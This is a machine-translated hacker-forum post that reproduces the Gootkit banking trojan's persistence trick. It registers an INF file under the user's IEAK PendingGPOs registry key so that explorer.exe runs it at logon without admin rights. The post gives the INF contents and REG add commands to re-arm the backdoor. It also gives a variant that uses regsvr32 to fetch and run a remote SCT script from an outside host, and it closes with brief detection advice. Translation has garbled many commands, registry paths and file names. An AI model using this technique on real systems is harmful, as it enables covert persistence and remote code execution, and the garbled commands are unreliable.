跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

GookitBankingTrojan后门利用分析


HACK7YD

推荐的帖子

0x00 前言

Gootkit银行木马最早发现于2014年。最近Daniel Bunce(@ 0verfl0w_)介绍了一些关于Gootkit银行木马的分析。文章地址如下:

https://www . sentinel one . com/blog/goot kit-banking-trojan-persistence-other-capabilities/

其中,Gootkit银行木马使用的后门启动方式是独一无二的,本文仅从技术研究的角度再现Gootkit银行木马使用的后门启动方式,分析利用思路,给出防御和检测建议。

0x01 简介

本文将介绍以下内容:

原理介绍

inf文件的基本知识

循环后门启动方法

分析和利用方法

检测和防御建议

0x02 原理介绍

Explorer.exe将在运行时加载特定的组策略对象(GPO),包括Internet Explorer管理工具包(IEAK)的GPO。

如果您通过添加注册表并指向inf文件来为IKAK创建挂起的GPO,那么当explorer.exe启动时,将加载挂起的GPO并执行inf文件的内容。

这种方法的优点是不需要管理员权限。

0x03 inf文件的基础知识

inf设备信息文件的全称是微软为硬件设备制造商发布其驱动程序而推出的一种文件格式。

不区分大小写

文件格式:

它由几个部分组成,部分名称用方括号括起来。

值得注意的部分:

1.Version节

Inf文件包含这一节来描述支持的设备类型和适用的操作系统。

Signature='$CHICAGO$表示inf文件适用于Windows98以后的所有操作系统。

Signature='$Windows NT$ '表示inf文件适用于Windows 2000/XP/2003操作系统。

2.DefaultInstall节

默认情况下,首先执行该部分中的内容,通常包括文件复制、删除、更新注册表键值、删除子项等。它还支持执行命令:

RunPreSetupCommands,本节中指定的命令在安装服务配置文件之前运行。

RunPostSetupCommands,本节中指定的命令在安装程序完成服务配置文件后运行。

RunPreUnInstCommands,本节中指定的命令在卸载程序启动之前运行。

RunPostUnInstCommands,本节中指定的命令在卸载程序运行后运行。

参考资料:

https://docs . Microsoft . com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc 939869(v=TechNet . 10)# information-INF-file-entries

例如,分别执行cmd命令和弹出计算器的test.inf文件示例:

[版本]

签名='$CHICAGO$ '

AdvancedINF=2.5,' advpack.dll '

[默认安装]

RunPreSetupCommands=Command1

RunPostSetupCommands=Command2

[命令1]

C:\WINDOWS\SYSTEM32\calc.exe

[命令2]

C:\WINDOWS\SYSTEM32\cmd.exe

如何在命令行下启动:

rundll32.exe adv pack . dll,LaunchINFSection test.inf,DefaultInstall

执行后,首先会弹出计算器,关闭计算器后会弹出cmd.exe。

0x04 后门启动方法复现

1.使用测试程序putty.exe,并将其保存在c:\ test \ putty.exe。

2.使用以下内容创建一个新的putty.inf:

[版本]

签名='$CHICAGO$ '

AdvancedINF=2.5,“您需要新版本的advpack.dll”

[默认安装]

RunPreSetupCommands=Command1:2

[命令1]

c:\test\putty.exe

3.创建新的注册表项

HKEY _当前用户\软件\微软\ Ieak \组策略\ PendingGPOs,Count,REG_DWORD,1

HKEY _当前_用户\软件\微软\ Ieak \ GroupPolicy \ PendingGPOs,Path1,REG_SZ," c:\test\test.inf "

HKEY _当前_用户\软件\微软\ Ieak \组策略\ PendingGPOs,Section1,REG_SZ," DefaultInstall "

注:

原文中Section1的值为[DefaultInstall]。经过测试,这里有一个bug。正确的值应该是DefaultInstall。

注册表设置如下

2-1.png

4.重启系统

系统启动后执行Putty.exe,复制成功。

注:

系统重新启动后,注册表将被清除。为了保证下次重启系统时会再次触发后门,需要再次修改注册表,添加相应的键值。供参考的cmd命令如下:

REG add hkcu \ SOFTWARE \ Microsoft \ IEAK \ group policy \ pending pos/v Count/t REG _ DWORD/d 1

' REG add hkcu \ SOFTWARE \ Microsoft \ IEAK \ group policy \ pending pos/v path 1/t REG _ SZ/d ' c:\ test \ test . INF '

REG add hkcu \ SOFTWARE \ Microsoft \ IEAK \ group policy \ pending pos/v section 1/t REG _ SZ/d ' default install '

0x05 方法优化

1.inf文件不需要同要启动的exe文件同名

inf文件的名称可以是任意的,例如test.inf

注:

原始描述需要与exe文件同名的inf文件。

2.inf文件内容格式不固定

Advanced INF=2.5,'您需要新版本的advpack.dll '可以修改为AdvancedINF=2.5,' 11111111 '

3.inf文件的payload不唯一

你也可以复制和删除文件,更新注册表项,删除子项和其他功能。

如果执行该命令,可以结合sct实现无文件登陆。例如,通过远程下载执行的文件内容如下:

[版本]

签名='$CHICAGO$ '

AdvancedINF=2.5,' advpack.dll '

[默认安装]

RunPreSetupCommands=Command1

[命令1]

regsvr 32/u/s/I:https://raw . githubusercontent . com/3g student/SCT persistence/master/calc . SCT scrobj.dll

0x06 利用分析

优点如下:

1.不需要管理员权限,普通用户权限即可。

2.payload具有很高的扩展性,可以结合其他方法(如sct)远程下载和执行,无需将文件写入硬盘。

0x07 检测和防御建议

监控注册表位置:HKEY _当前_用户\软件\ Microsoft \ ieak \ group policy \ pending Bos

默认情况下,系统中不存在该注册表项:HKEY _当前_用户\软件\ Microsoft \ ieak \ grouppolicy

注:

修改注册表HKEY _本地_机器\软件\微软\ IEAK \组策略\ PendingGPOS不会触发此后门。

0x08 小结

本文再现了Gookit银行木马的后门启动方法,分析了利用思路,并给出了防御和检测建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...